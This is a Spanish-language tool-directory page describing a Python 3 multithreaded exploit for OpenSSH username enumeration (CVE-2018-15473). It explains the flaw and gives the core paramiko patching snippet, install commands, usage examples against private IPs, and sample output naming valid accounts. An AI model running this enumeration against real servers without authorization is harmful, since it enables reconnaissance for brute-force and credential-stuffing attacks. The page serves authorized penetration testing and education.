Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Threaded-CVE-2018-15473 — Una reimplementación en Python 3 del clásico exploit de enumeración de usuarios de OpenSSH CVE-2018-15473, extendida con soporte para múltiples hilos, listas de palabras, detección automática de vulnerabilidades y parches de exploit seguros para hilos. | Kitploit
Herramientas/GitHubGitHub/k3rn3l-32/threaded-cve-2018-15473
ReconocimientoAnálisis de VulnerabilidadesExplotaciónRecopilación de InformaciónPruebas de PenetraciónAprendizaje y Educación
GitHubk3rn3l-32/threaded-cve-2018-15473

Threaded-CVE-2018-15473

Una reimplementación en Python 3 del clásico exploit de enumeración de usuarios de OpenSSH CVE-2018-15473, extendida con soporte para múltiples hilos, listas de palabras, detección automática de vulnerabilidades y parches de exploit seguros para hilos.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
2hace 5 mesesAún no revisado
Compartir

CVE-2018-15473 — Herramienta de Enumeración de Usuarios SSH

Una reimplementación en Python 3 del clásico exploit de enumeración de usuarios de OpenSSH CVE-2018-15473, ampliado con multihilo, soporte de listas de palabras, detección automática de vulnerabilidades y parcheo de exploit seguro para hilos.


Tabla de Contenidos

  • Acerca de la Vulnerabilidad
  • Cómo Funciona el Exploit
  • Características
  • Requisitos
  • Instalación
  • Uso
  • Ejemplos
  • Créditos e Investigación Original
  • Descargo de Responsabilidad

Acerca de la Vulnerabilidad

CVE-2018-15473 es una vulnerabilidad de enumeración de usuarios que afecta a las versiones de OpenSSH 2.3 a 7.7.

La vulnerabilidad surge de una sutil diferencia en cómo el servidor OpenSSH responde a los intentos de autenticación para nombres de usuario válidos vs inválidos. Al elaborar un paquete de autenticación de clave pública malformado, un atacante puede observar el comportamiento del servidor y determinar si un nombre de usuario dado existe en el sistema, sin necesidad de conocer la contraseña del usuario.

Esta información puede ser un primer paso crítico en un ataque dirigido de fuerza bruta o relleno de credenciales.

DetalleValor
ID de CVECVE-2018-15473
Versiones AfectadasOpenSSH 2.3 – 7.7
Puntuación CVSS5.3 (Medio)

Cómo Funciona el Exploit

El flujo de autenticación de OpenSSH normalmente funciona así:

root@kitploit:~
Cliente → MSG_SERVICE_REQUEST  → Servidor
Cliente ← MSG_SERVICE_ACCEPT   ← Servidor
Cliente → MSG_USERAUTH_REQUEST → Servidor
Cliente ← MSG_USERAUTH_FAILURE o MSG_USERAUTH_SUCCESS ← Servidor

El exploit abusa de la etapa MSG_SERVICE_ACCEPT. Cuando el servidor envía de vuelta un MSG_SERVICE_ACCEPT, se espera que el cliente agregue un campo booleano al paquete MSG_USERAUTH_REQUEST subsiguiente. Al parchear el método Message.add_boolean de paramiko para que no haga nada, la herramienta envía un paquete de autenticación malformado/truncado.

El servidor OpenSSH entonces se comporta de manera diferente dependiendo de si el nombre de usuario existe:

  • Nombre de usuario inválido → El servidor rechaza inmediatamente con MSG_USERAUTH_FAILURE (el usuario no existe, no tiene sentido verificar la clave)
  • Nombre de usuario válido → El servidor lanza una AuthenticationException (intentó verificar la clave, confirmando que el usuario existe)

Esta herramienta intercepta esas dos respuestas mediante manejadores de paramiko parcheados (_parse_userauth_failure y _parse_service_accept) y clasifica cada nombre de usuario en consecuencia.

Corrección de Seguridad para Hilos

El PoC original parchea add_boolean de forma permanente, lo que causa una condición de carrera cuando varios hilos se ejecutan simultáneamente: los hilos interfieren entre sí en los handshakes, produciendo falsos errores de SSH negotiation failed. Esta reimplementación envuelve el parche en un threading.Lock(), haciendo que el intercambio sea atómico:

root@kitploit:~
with _patch_lock:
    real_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = _add_boolean_noop
    try:
        result = original_service_accept(auth_handler, m)
    finally:
        paramiko.message.Message.add_boolean = real_add_boolean

Características

  • Verificación de un solo usuario — modo rápido de un solo disparo
  • Modo lista de palabras — enumerar una lista completa de nombres de usuario
  • Multihilo — número de hilos configurable, todo seguro para hilos
  • Detección automática de vulnerabilidades — usa nmap para verificar que el objetivo ejecuta una versión vulnerable de OpenSSH antes de escanear
  • Eliminación de duplicados — elimina automáticamente nombres de usuario duplicados de las listas de palabras
  • Salida limpia — resultados con código de colores y un informe resumido

Requisitos

  • Python 3.8+
  • paramiko
  • python-nmap
  • nmap (binario del sistema, debe estar instalado)

Instalación

root@kitploit:~
git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473

# Crear y activar un entorno virtual (recomendado)
python3 -m venv venv
source venv/bin/activate

# Instalar dependencias
pip install paramiko python-nmap

Asegúrate de que nmap esté instalado en tu sistema:

root@kitploit:~
# Debian/Ubuntu/Kali
sudo apt install nmap

Uso

root@kitploit:~
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target

positional arguments:
  target                Target IP address

options:
  -h, --help            show this help message and exit
  -p, --port PORT       SSH port (default: 22)
  -t, --threads THREADS Threads for wordlist mode (default: 3)
  -u USERNAME           Single username to check
  -U WORDLIST           Path to wordlist file

Ejemplos

Verificar un solo usuario:

root@kitploit:~
python main.py 192.168.1.10 -u root

Enumerar una lista de palabras con hilos por defecto:

root@kitploit:~
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt

Enumerar con un número personalizado de hilos y puerto:

root@kitploit:~
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222

Salida de ejemplo:

root@kitploit:~
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473

[*] Loaded   : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target   : 192.168.56.109:22
[*] Threads  : 10

  [+] root     <- VALID
  [+] service  <- VALID
  [-] guest
  [-] admin
  ...

─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked  : 12 usernames
[*] Threads  : 10

[+] Valid    (2)  : ['root', 'service']
[-] Invalid  (8)
[!] Errors   (2)  : ['postgres', 'temp']

Créditos e Investigación Original

Esta herramienta es una reimplementación en Python 3 y extensión del exploit proof-of-concept original. El mérito completo por descubrir y documentar esta vulnerabilidad corresponde a los investigadores originales:

Exploit original: https://leapsecurity.io

Esta reimplementación añade:

  • Compatibilidad con Python 3 (el original era Python 2)
  • Parcheo de exploit seguro para hilos (corrección de condición de carrera)
  • Modo lista de palabras con multihilo
  • Detección automática de vulnerabilidades basada en nmap
  • Reporte de resultados estructurado

Descargo de Responsabilidad

Esta herramienta está destinada solo para fines educativos y pruebas de penetración autorizadas.
Usar esta herramienta contra sistemas que no posees o para los cuales no tienes permiso explícito por escrito es ilegal y antético.
El autor no se hace responsable por ningún uso indebido de este software.
Practica siempre la divulgación responsable.

Descargar herramienta
TipoDivulgación de Información / Enumeración de Usuarios
Se Requiere AutenticaciónNo
RolNombre / Usuario
Autor del PoC OriginalLeap Security (@LeapSecurity)
Investigación de VulnerabilidadMatthew Daley
Investigación de VulnerabilidadJustin Gardner
Investigación de VulnerabilidadLee David Painter